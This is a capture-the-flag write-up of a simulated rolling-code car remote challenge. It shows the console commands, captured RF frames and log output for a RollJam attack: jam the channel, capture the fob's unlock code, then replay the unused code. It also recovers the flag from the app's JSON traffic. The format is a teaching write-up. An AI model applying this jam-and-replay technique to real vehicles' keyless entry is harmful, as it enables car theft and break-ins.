Stormbound outriders recovered a salt crusted gatecar outside the Sunken Causeway. Its remote lock still listens across a shared band that the wardens use during convoy checks. Reach the channel, study the signals, and reveal the token through a replay attack.
A rolling-code car remote. A plain replay is rejected by design - but the jammer the challenge hands you turns it into a RollJam: block the fob's transmission so the car never sees it, then send the captured code yourself while it is still unused.
Nothing. Two network endpoints, no files.
Port one is an RF channel simulator:
$ nc 154.57.164.75 30149
RiverGate RF-433 shared service channel
freq=433.920MHz modulation=OOK encoding=raw-hex
commands: HELP, STATUS, JAM ON, JAM OFF, TX <hex>, QUIT
physical keyfob frames are mirrored here as RX lines
status
STATUS lock=locked jammer=off last_counter=8076 flag=hidden freq=433.920MHz modulation=OOK
Port two is a web app showing the car and its event log:
The car's own view: lock state, receiver counter, and a log of what it saw.
Conclusion: Two halves of one target. The console is the radio, the web app is the
car - and crucially flag=hidden in STATUS says the flag appears
only once something worth logging has happened.
Pressing the fob in the web app mirrors the frame into the console as an
RX line. Doing it repeatedly shows the structure.
RX ... raw=AAAAAAAA2DD4534C54021F8E4440E04CA15C
CAR ACCEPT source=fob button=unlock counter=8078 result=owner_unlock
RX ... raw=AAAAAAAA2DD4534C54021F8FA043BC0F2F33
CAR ACCEPT source=fob button=unlock counter=8079 result=owner_unlock
RX ... raw=AAAAAAAA2DD4534C54021F90A2E440C1F5DA
CAR ACCEPT source=fob button=unlock counter=8080 result=owner_unlock
Conclusion: A fixed preamble and device id, then a counter that increments per press, then a rolling authenticator that changes unpredictably. Classic rolling code.
The challenge says "replay attack", so try the obvious one first.
tx AAAAAAAA2DD4534C54011F8D5E94649B3192
TX freq=433.920MHz modulation=OOK raw=AAAAAAAA2DD4534C54011F8D5E94649B3192
CAR REJECT source=attacker button=lock counter=8077 reason=replay_or_old_counter
Random data does not help either - the frame is length-checked:
tx ffff
TX freq=433.920MHz modulation=OOK raw=FFFF
CAR REJECT source=attacker reason=bad_length
Conclusion: Exactly what rolling codes are designed to stop: once the car has seen counter 8077, everything at or below it is dead. A captured code is only useful if the car never received it in the first place - which is what the jammer is for.
The command list includes JAM ON/JAM OFF. Jamming while the owner
presses the fob means the frame reaches us (the console mirrors it) but not the car.
jam on
CH STATE jammer=on freq=433.920MHz
(owner presses unlock)
RX ... raw=AAAAAAAA2DD4534C54021F98FB77DE9FD00D
CAR MISS source=fob button=unlock reason=channel_jammed <- car never saw it
jam off
CH STATE jammer=off freq=433.920MHz
tx AAAAAAAA2DD4534C54021F98FB77DE9FD00D
TX freq=433.920MHz modulation=OOK raw=AAAAAAAA2DD4534C54021F98FB77DE9FD00D
CAR ACCEPT source=attacker button=unlock counter=8088 result=exploit_unlock
Conclusion: The captured code was never consumed, so its counter is still ahead of
the car's. CAR MISS versus CAR ACCEPT is the whole attack in two
log lines.
The unlock is logged, and the event log should now contain the flag.
It does contain it - but the column truncates it, and the text does not wrap or scroll.
Conclusion: The flag is present but not fully readable in the rendered page. The data is obviously in the response body, so read that instead of the rendering.
The page polls its state as JSON. Capturing the traffic gives the untruncated field.
Wireshark filter:
ip.src_host == 154.57.164.75 and tcp.port == 30402 and frame contains "HTB"
The JSON the page renders from, with the flag intact.
{"locked": false, "jammed": false, "receiver_counter": 8088, ...
"events": [...
{"time": "14:11:41", "message": "physical fob unlock blocked by channel noise"},
{"time": "14:11:47", "message": "channel jammer set off"},
{"time": "14:11:49", "message": "unused rolling code replay accepted"},
{"time": "FLAG", "message":
"HTB{r0llj4m_5alt_f0b_5pl1t_c87ee7ffeeaf9aef104b746e08d26e0b}"}]}
Conclusion: The server's own event list confirms the attack step by step - jammer on, fob blocked, jammer off, unused rolling code accepted.
No exploit code - five console commands, with one fob press in the web app between the first and the second. The only timing requirement is that the jammer is on while the owner presses.
# Saltlock Drift - RollJam against the rolling-code fob.
#
# console = nc HOST PORT1 , web app = http://HOST:PORT2
jam on # 1. block the channel
# 2. press unlock in the web app; the console still
# mirrors the frame as an RX line, but the car
# logs "CAR MISS ... reason=channel_jammed"
jam off # 3. stop blocking
tx <the captured raw hex> # 4. replay the code the car never consumed
# -> CAR ACCEPT ... result=exploit_unlock
# 5. the flag is in the web app's JSON, not in its rendering:
# tcpdump/Wireshark filter:
# ip.src_host == HOST and tcp.port == PORT2 and frame contains "HTB"
$ nc 154.57.164.75 30149
RiverGate RF-433 shared service channel
jam on
CH STATE jammer=on freq=433.920MHz
RX freq=433.920MHz modulation=OOK rssi=-48dBm raw=AAAAAAAA2DD4534C54021F98FB77DE9FD00D
CAR MISS source=fob button=unlock reason=channel_jammed
jam off
CH STATE jammer=off freq=433.920MHz
tx AAAAAAAA2DD4534C54021F98FB77DE9FD00D
TX freq=433.920MHz modulation=OOK raw=AAAAAAAA2DD4534C54021F98FB77DE9FD00D
CAR ACCEPT source=attacker button=unlock counter=8088 result=exploit_unlock
Then, from the captured HTTP response:
{"time": "FLAG", "message":
"HTB{r0llj4m_5alt_f0b_5pl1t_c87ee7ffeeaf9aef104b746e08d26e0b}"}
HTB{r0llj4m_5alt_f0b_5pl1t_c87ee7ffeeaf9aef104b746e08d26e0b}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Why a plain replay fails | Each fob press carries an incrementing counter. Once the car has seen counter N,
anything at or below N is rejected as replay_or_old_counter. |
| 2 | Jam the channel | With the jammer on, the owner's press is mirrored to the attacker
(RX) but never reaches the car (CAR MISS ...
reason=channel_jammed). The code stays unused, and the car's counter stays
behind. |
| 3 | Replay the unused code | Jammer off, transmit the captured frame. Its counter is still ahead of the car's, so
it validates: result=exploit_unlock. |
| 4 | Recover the flag | The web app truncates it in the rendered table. The underlying JSON response carries it in full - read the traffic, not the page. |
Rolling codes defend against recording and re-sending later. RollJam sidesteps that without breaking any crypto: the defence assumes the car eventually receives what the fob sends, so denying it that one reception leaves a valid, unconsumed code in the attacker's hands. Notable is that the challenge hands over the jammer as a documented command - the intended path is not to find a bug but to notice that the two tools together are worth more than either alone.